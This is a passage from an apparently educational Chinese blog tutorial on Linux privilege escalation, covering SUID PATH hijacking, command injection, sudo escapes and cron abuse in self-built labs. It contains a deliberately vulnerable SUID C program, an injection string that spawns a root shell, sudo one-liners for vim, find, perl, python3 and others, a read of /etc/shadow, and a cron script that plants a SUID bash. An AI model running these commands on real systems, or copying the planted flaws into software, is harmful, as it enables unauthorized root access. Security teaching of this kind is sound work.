backup</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/24.png\" class=\"\"></p>\n<p>接下来我们需要修改PATH：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>export PATH=/tmp/suid_test:$PATH</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/25.png\" class=\"\"></p>\n<p>之后我们只需要执行<code>/usr/local/bin/baskup_suid</code>就可以实现提权了：</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/26.png\" class=\"\"></p>\n<p>那么为什么修改PATH就可以实现将<code>backup_suid</code>文件里面的backup文件路径转移到<code>/tmp/suid_test</code>呢？</p>\n<p>修改PATH的目的是让SUID程序在执行某个命令时，优先执行我们伪造的同名命令</p>\n<p>比如，我们在执行<code>ls</code>的时候，其实没有写完整路径<code>/bin/ls</code>，那么系统就会从<code>PATH</code>环境变量里面按顺序寻找，假设<code>echo $PATH</code>输出结果为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</span></span></code></pre>\n<p>例如执行<code>ls</code>，那么系统会按顺序寻找：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/usr/local/sbin/ls</span></span>\n<span class=\"line\"><span>/usr/local/bin/ls</span></span>\n<span class=\"line\"><span>/usr/sbin/ls</span></span>\n<span class=\"line\"><span>/usr/bin/ls</span></span>\n<span class=\"line\"><span>/sbin//ls</span></span>\n<span class=\"line\"><span>/bin/ls</span></span></code></pre>\n<p>找到第一个能执行的就运行它</p>\n<p>由于我们的<code>backup_suid</code>文件里面的不是完整路径，所以系统会通过<code>PATH</code>寻找<code>backup</code>，如果我们通过命令将当前伪造的backup置于<code>PATH</code>的最前面，那么系统在寻找<code>backup</code>时会先找<code>/tmp/suid_test/backup</code>，那么实际上也就是执行了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>system(\"/bin/bash -p\");</span></span></code></pre>\n<p>学习一下<code>PATH</code>环境变量吧：</p>\n<p><code>PATH</code>：shell从中查找命令的目录列表，<code>PATH</code>变量包含带<code>:</code>分界符的字符串，这些字符串指向含有用户所使用命令的目录，用户可以设置它，例如主目录下有一个<code>bin</code>目录，用于存放自己编写的所有可执行程序，要把这个目录加到<code>PATH</code>变量中可以执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>PATH=$PATH:$HOME/bin</span></span></code></pre>\n<p>即在当前的命令查找路径下增加一个目录<code>$HOME/bin</code>，如果使用<code>bash</code>，那么可以把它加到<code>.bash_profile</code>文件中，这样他会在每次注册时起作用，在一般情况下，<code>PATH</code>变量中往往有一个目录<code>/usr/local/bin</code>，这个目录中的命令并不是Linux标准命令，而是由系统管理员添加和维护的、供所有用户使用的命令。如果<code>PATH</code>变量中不存在这个目录，用户可以自己把他加进去。</p>\n<p><code>PATH</code>值中的字符串的顺序决定了先从哪个目录查找，假如用户自己编写了一个<code>ls</code>命令，放在自己主目录的<code>bin</code>下，用户的<code>PATH</code>变量为<code>$HOME/bin:/bin:/usr/bin</code>，则意味着，用户输入一个<code>ls</code>命令，Linux会首先使用用户主目录下的<code>bin</code>目录中用户自己写的<code>ls</code>命令，若找不到才会使用<code>/bin</code>或者<code>/usr/bin</code>下的<code>ls</code>命令</p>\n<h3 id=\"命令注入提权\"><a class=\"anchor\" href=\"#命令注入提权\">#</a> 命令注入提权</h3>\n<p>这一场景属于<code>SUID</code>程序接受用户输入然后拼接到系统命令中执行</p>\n<p><strong>搭建靶场</strong>：</p>\n<p>创建一个只有<code>root</code>能读的文件：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo 'ZLARYY&#123;10cal_5uid_connm@nd_inJecti0n_te5t&#125;' | sudo tee /root/suid_flag.txt</span></span>\n<span class=\"line\"><span>sudo chmod 600 /root/suid_flag.txt</span></span></code></pre>\n<p>编写一个带有漏洞的C程序：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#include &#x3C;stdio.h></span></span>\n<span class=\"line\"><span>#include &#x3C;stdlib.h></span></span>\n<span class=\"line\"><span>#include &#x3C;unistd.h></span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>int main(int argc, char *argv[]) &#123;</span></span>\n<span class=\"line\"><span>    char cmd[512];</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    if (argc &#x3C; 2) &#123;</span></span>\n<span class=\"line\"><span>        printf(\"Usage: %s &#x3C;filename>\\n\", argv[0]);</span></span>\n<span class=\"line\"><span>        return 1;</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    setuid(0);</span></span>\n<span class=\"line\"><span>    setgid(0);</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    snprintf(cmd, sizeof(cmd), \"cat /var/backups/%s\", argv[1]);</span></span>\n<span class=\"line\"><span>    system(cmd);</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    return 0;</span></span>\n<span class=\"line\"><span>&#125;</span></span></code></pre>\n<p>这个文件本来是用作读取<code>/var/backups/</code>目录下的某个文件，但是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>snprintf(cmd, sizeof(cmd), \"cat /var/backups/%s\", argv[1]);</span></span>\n<span class=\"line\"><span>system(cmd);</span></span></code></pre>\n<p>这一行允许它把用户输入直接拼接进入命令，再交给<code>system()</code>执行</p>\n<p>编译并设置SUID：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>gcc read_backup.c -o read_backup</span></span>\n<span class=\"line\"><span>sudo mv read_backup /usr/local/bin/read_backup</span></span>\n<span class=\"line\"><span>sudo chown root:root /usr/local/bin/read_backup</span></span>\n<span class=\"line\"><span>sudo chmod 4755 /usr/local/bin/read_backup</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/27.png\" class=\"\"></p>\n<p>为了模拟正常代码查询<code>/var/backups</code>逻辑，我们在其目录下创建一个文件：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo 'ZLARYY&#123;thi5_1s_a_fake_fl@g!&#125;' | sudo tee /var/backups/test.txt</span></span></code></pre>\n<p>接下来我们登录低权限用户完成命令执行注入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 正常查询</span></span>\n<span class=\"line\"><span>/usr/local/bin/read_backup test.txt</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 命令注入whoami</span></span>\n<span class=\"line\"><span>/usr/local/bin/read_backup 'test.txt;whoami;id;cat /root/suid_flag.txt'</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/28.png\" class=\"\"></p>\n<p>那么可操作范围就很大了，还可以直接弹shell：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/usr/local/bin/read_backup 'test.txt; /bin/bash -p'</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/29.png\" class=\"\"></p>\n<h2 id=\"sudo提权\"><a class=\"anchor\" href=\"#sudo提权\">#</a> SUDO提权</h2>\n<p>sudo是Linux系统管理指令，是允许系统管理员让普通用户执行一些或全部的root命令的一个工具，如<code>reboot</code>、<code>su</code>等等。这样不仅减少了root用户的登录和管理时间，同样也提高了安全性，sudo不是对shell的一个替代，它是面向每个命令，在一些应用场景里面，为了方便运维人员以低权限账号进行运维，往往会开启账号的一些SUDO权限给运维账号，而SUDO权限的授予在<code>/etc/sudoers</code>中进行操作，具体格式：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get</span></span></code></pre>\n<p><code>sudo</code>：<code>superuser do</code>，也就是以超级用户或其他用户身份执行命令</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 普通用户执行</span></span>\n<span class=\"line\"><span>whoami</span></span>\n<span class=\"line\"><span>suiduser</span></span>\n<span class=\"line\"><span># 加上sudo指令</span></span>\n<span class=\"line\"><span>sudo whoami</span></span>\n<span class=\"line\"><span>root</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/30.png\" class=\"\"></p>\n<p><code>/etc/sudoers</code>：规定了哪个用户可以用sudo、可以以谁的身份执行命令、可以执行哪些命令、需不需要输入密码，比如有这么一段：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>testuser ALL=(root) NOPASSWD: /usr/bin/vim</span></span></code></pre>\n<p>意思是：<code>testuser</code>用户可以在任何主机上以<code>root</code>身份免密码执行<code>/usr/bin/vim</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get</span></span>\n<span class=\"line\"><span>cseroad表示用户名</span></span>\n<span class=\"line\"><span>第一个ALL指示允许从任何终端访问sudo</span></span>\n<span class=\"line\"><span>第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行</span></span>\n<span class=\"line\"><span>第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令</span></span></code></pre>\n<p>那么这个vim就是root权限，如果vim可以执行shell命令，那么就可以进一步有得到<code>root shell</code></p>\n<p><code>sudo -l</code>这个命令可以列出当前用户可以通过sudo执行哪些命令</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/31.png\" class=\"\"></p>\n<p>如果sudo配置文件配置了ALL或者以下的命令就可以进行提权：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、</span></span>\n<span class=\"line\"><span>bash、less、awk、man、vi、env、ftp、ed、screen</span></span></code></pre>\n<p>提权命令如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>一条命令提权的</span></span>\n<span class=\"line\"><span>sudo vim -c '!sh'</span></span>\n<span class=\"line\"><span>sudo awk 'BEGIN &#123;system(\"/bin/sh\")&#125;'</span></span>\n<span class=\"line\"><span>sudo xxd \"/etc/shadow\" | xxd -r</span></span>\n<span class=\"line\"><span>sudo env /bin/sh</span></span>\n<span class=\"line\"><span>sudo perl -e 'exec \"/bin/sh\";'</span></span>\n<span class=\"line\"><span>sudo zip 2.zip 1.txt -T --unzip-command=\"sh -c /bin/sh\"</span></span>\n<span class=\"line\"><span>sudo sed -n '1e exec sh 1>&#x26;0' /etc/passwd</span></span>\n<span class=\"line\"><span>sudo find /etc/passwd -exec /bin/sh \\;</span></span>\n<span class=\"line\"><span>两条命令提权的</span></span>\n<span class=\"line\"><span>sudo git help config</span></span>\n<span class=\"line\"><span>!/bin/sh</span></span>\n<span class=\"line\"><span>sudo ftp</span></span>\n<span class=\"line\"><span>!/bin/sh</span></span>\n<span class=\"line\"><span>sudo less /etc/hosts</span></span>\n<span class=\"line\"><span>!sh</span></span>\n<span class=\"line\"><span>sudo ed</span></span>\n<span class=\"line\"><span>!/bin/sh</span></span>\n<span class=\"line\"><span>sudo man man</span></span>\n<span class=\"line\"><span>!/bin/sh</span></span></code></pre>\n<h3 id=\"本地靶场测试vim\"><a class=\"anchor\" href=\"#本地靶场测试vim\">#</a> 本地靶场测试(vim)</h3>\n<p>我们直接沿用上一个靶场里面的suiduser用户</p>\n<p>需要配置一个sudo规则：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo 'suiduser ALL=(root) NOPASSWD: /usr/bin/vim' | sudo tee /etc/sudoers.d/sudo-lab</span></span>\n<span class=\"line\"><span>sudo chmod 440 /etc/sudoers.d/sudo-lab</span></span>\n<span class=\"line\"><span>sudo visudo -cf /etc/sudoers.d/sudo-lab</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/32.png\" class=\"\"></p>\n<p>接下来我们切换到低权限用户：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>su - suiduser</span></span></code></pre>\n<h3 id=\"提权流程\"><a class=\"anchor\" href=\"#提权流程\">#</a> 提权流程</h3>\n<p>执行：<code>sudo -l</code></p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/33.png\" class=\"\"></p>\n<p>那么我们可以免密码以root身份执行vim命令了</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo /usr/bin/vim</span></span></code></pre>\n<p>执行完这个语句我们在vim里面输入</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>:!/bin/bash</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/34.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/35.png\" class=\"\"></p>\n<h3 id=\"本地靶场测试find\"><a class=\"anchor\" href=\"#本地靶场测试find\">#</a> 本地靶场测试(find)</h3>\n<p>以root身份添加配置规则：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo 'suiduser ALL=(root) NOPASSWD: /usr/bin/find' | sudo tee /etc/sudoers.d/sudo-lab</span></span>\n<span class=\"line\"><span>sudo chmod 440 /etc/sudoers.d/sudo-lab</span></span>\n<span class=\"line\"><span>sudo visudo -cf /etc/sudoers.d/sudo-lab</span></span></code></pre>\n<p>然后进入到suiduser</p>\n<h3 id=\"提权流程-2\"><a class=\"anchor\" href=\"#提权流程-2\">#</a> 提权流程</h3>\n<p>执行<code>sudo -l</code>：</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/36.png\" class=\"\"></p>\n<p>接着我们可以执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo /usr/bin/find . -exec /bin/bash \\; -quit</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/37.png\" class=\"\"></p>\n<h3 id=\"本地靶场搭建python3\"><a class=\"anchor\" href=\"#本地靶场搭建python3\">#</a> 本地靶场搭建(python3)</h3>\n<p>回到root用户先执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>which python3</span></span></code></pre>\n<p>一般是<code>/usr/bin/python3</code>，那么我们执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo 'suiduser ALL=(root) NOPASSWD: /usr/bin/python3' | sudo tee /etc/sudoers.d/sudo-lab</span></span>\n<span class=\"line\"><span>sudo chmod 440 /etc/sudoers.d/sudo-lab</span></span>\n<span class=\"line\"><span>sudo visudo -cf /etc/sudoers.d/sudo-lab</span></span></code></pre>\n<h3 id=\"提权流程-3\"><a class=\"anchor\" href=\"#提权流程-3\">#</a> 提权流程</h3>\n<p>切换至低权限用户依旧先用<code>sudo -l</code>查看是否显示：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>User suiduser may run the following commands on LAPTOP-6C4POS0O:</span></span>\n<span class=\"line\"><span>    (root) NOPASSWD: /usr/bin/python3</span></span></code></pre>\n<p>然后我们可以尝试：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo /usr/bin/python3 -c 'import os; os.system(\"/bin/bash\")'</span></span>\n<span class=\"line\"><span>或</span></span>\n<span class=\"line\"><span>sudo /usr/bin/python3 -c 'import os; os.execl(\"/bin/bash\", \"bash\")'</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/38.png\" class=\"\"></p>\n<h2 id=\"计划任务提权\"><a class=\"anchor\" href=\"#计划任务提权\">#</a> 计划任务提权</h2>\n<p>计划任务提权（又称Cron提权）：系统中有些定时任务会以root身份自动执行，如果普通用户能修改这个定时任务执行的脚本、命令、路径或环境，就可以让root定时帮我们执行命令，从而提权</p>\n<p>Linux计划任务命令如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>crontab -e 编辑计划任务</span></span>\n<span class=\"line\"><span>crontab -l 查看计划任务</span></span>\n<span class=\"line\"><span>crontab -r 删除目前的crontab</span></span></code></pre>\n<p>计划任务的文件夹在<code>/etc/cron*</code>下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 查看系统级计划任务</span></span>\n<span class=\"line\"><span>/etc/crontab</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/39.png\" class=\"\"></p>\n<p>如果存在如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>* * * * * root /opt/backup.sh</span></span></code></pre>\n<p>表示每分钟以root身份执行<code>/opt/backup.sh</code>，前五个<code>*</code>分别表示分钟、小时、日期、月份、星期</p>\n<p>即：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>* * * * *      每分钟执行</span></span>\n<span class=\"line\"><span>0 * * * *      每小时第 0 分钟执行</span></span>\n<span class=\"line\"><span>0 3 * * *      每天凌晨 3 点执行</span></span>\n<span class=\"line\"><span>*/5 * * * *    每 5 分钟执行</span></span></code></pre>\n<p>查看cron目录：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>ls -la /etc/cron.d/</span></span>\n<span class=\"line\"><span>ls -la /etc/cron.hourly/</span></span>\n<span class=\"line\"><span>ls -la /etc/cron.daily/</span></span>\n<span class=\"line\"><span>ls -la /etc/cron.weekly/</span></span>\n<span class=\"line\"><span>ls -la /etc/cron.monthly/</span></span></code></pre>\n<p>这些目录里的脚本也可能被系统定时执行</p>\n<p>查找带有SUID或777权限文件命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 查找SUID文件</span></span>\n<span class=\"line\"><span>find / -user root -perm -4000 -print 2>/dev/null</span></span>\n<span class=\"line\"><span># 查找777文件</span></span>\n<span class=\"line\"><span>find / -perm 777 -print 2>/dev/null</span></span></code></pre>\n<h3 id=\"本地靶场搭建-2\"><a class=\"anchor\" href=\"#本地靶场搭建-2\">#</a> 本地靶场搭建</h3>\n<p>依旧沿用之前的低权限用户<code>suiduser</code></p>\n<p>在root权限下执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo mkdir -p /opt/cron-lab</span></span></code></pre>\n<p>创建一个备份脚本：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cat &#x3C;&#x3C; 'EOF' | sudo tee /opt/cron-lab/backup.sh</span></span>\n<span class=\"line\"><span>#!/bin/bash</span></span>\n<span class=\"line\"><span>echo \"backup running at $(date)\" >> /tmp/cron-lab.log</span></span>\n<span class=\"line\"><span>EOF</span></span></code></pre>\n<p>给他设置可执行权限并且所有人可写：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo chmod 777 /opt/cron-lab/backup.sh</span></span></code></pre>\n<p>配置root计划任务</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cat &#x3C;&#x3C; 'EOF' | sudo tee /etc/cron.d/cron-lab</span></span>\n<span class=\"line\"><span>* * * * * root /opt/cron-lab/backup.sh</span></span>\n<span class=\"line\"><span>EOF</span></span></code></pre>\n<p>设置权限：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo chmod 644 /etc/cron.d/cron-lab</span></span></code></pre>\n<p>查看计划任务：（应该看到<code>* * * * * root /opt/cron-lab/backup.sh</code>）</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cat /etc/cron.d/cron-lab</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/40.png\" class=\"\"></p>\n<p>意思是每分钟以root身份执行<code>/opt/cron-lab/backup.sh</code></p>\n<h3 id=\"提权流程-4\"><a class=\"anchor\" href=\"#提权流程-4\">#</a> 提权流程</h3>\n<p>我们以低权限用户执行<code>ls -l /opt/cron-lab/backup.sh</code>：</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/41.png\" class=\"\"></p>\n<p>发现可写之后我们写入提权命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cat > /opt/cron-lab/backup.sh &#x3C;&#x3C; 'EOF'</span></span>\n<span class=\"line\"><span>#!/bin/bash</span></span>\n<span class=\"line\"><span>cp /bin/bash /tmp/rootbash</span></span>\n<span class=\"line\"><span>chmod 4755 /tmp/rootbash</span></span>\n<span class=\"line\"><span>EOF</span></span></code></pre>\n<p><code>cp /bin/bash /tmp/rootbash</code>表示复制一个bash到<code>/tmp/rootbash</code></p>\n<p><code>chmod 4755 /tmp/rootbash</code>给这个bash设置SUID权限</p>\n<p>由于这个脚本会被root的cron执行，所以<code>/tmp/rootbash</code>会变成：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>-rwsr-xr-x 1 root root /tmp/rootbash</span></span></code></pre>\n<p>等待一分钟我们执行<code>ls -l /tmp/rootbash</code></p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/42.png\" class=\"\"></p>\n<p>发现其已具备SUID权限，所以我们可以直接利用SUID的bash提权：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/tmp/rootbash -p</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/43.png\" class=\"\"></p>\n<h2 id=\"利用通配符进行提权\"><a class=\"anchor\" href=\"#利用通配符进行提权\">#</a> 利用通配符进行提权</h2>\n<p>通配符提权通常和计划任务提权搭配出现</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>* 代表任意数量的字符</span></span>\n<span class=\"line\"><span>? 字符代表单个字符</span></span>\n<span class=\"line\"><span>[] 匹配中括号中的任意单一字符 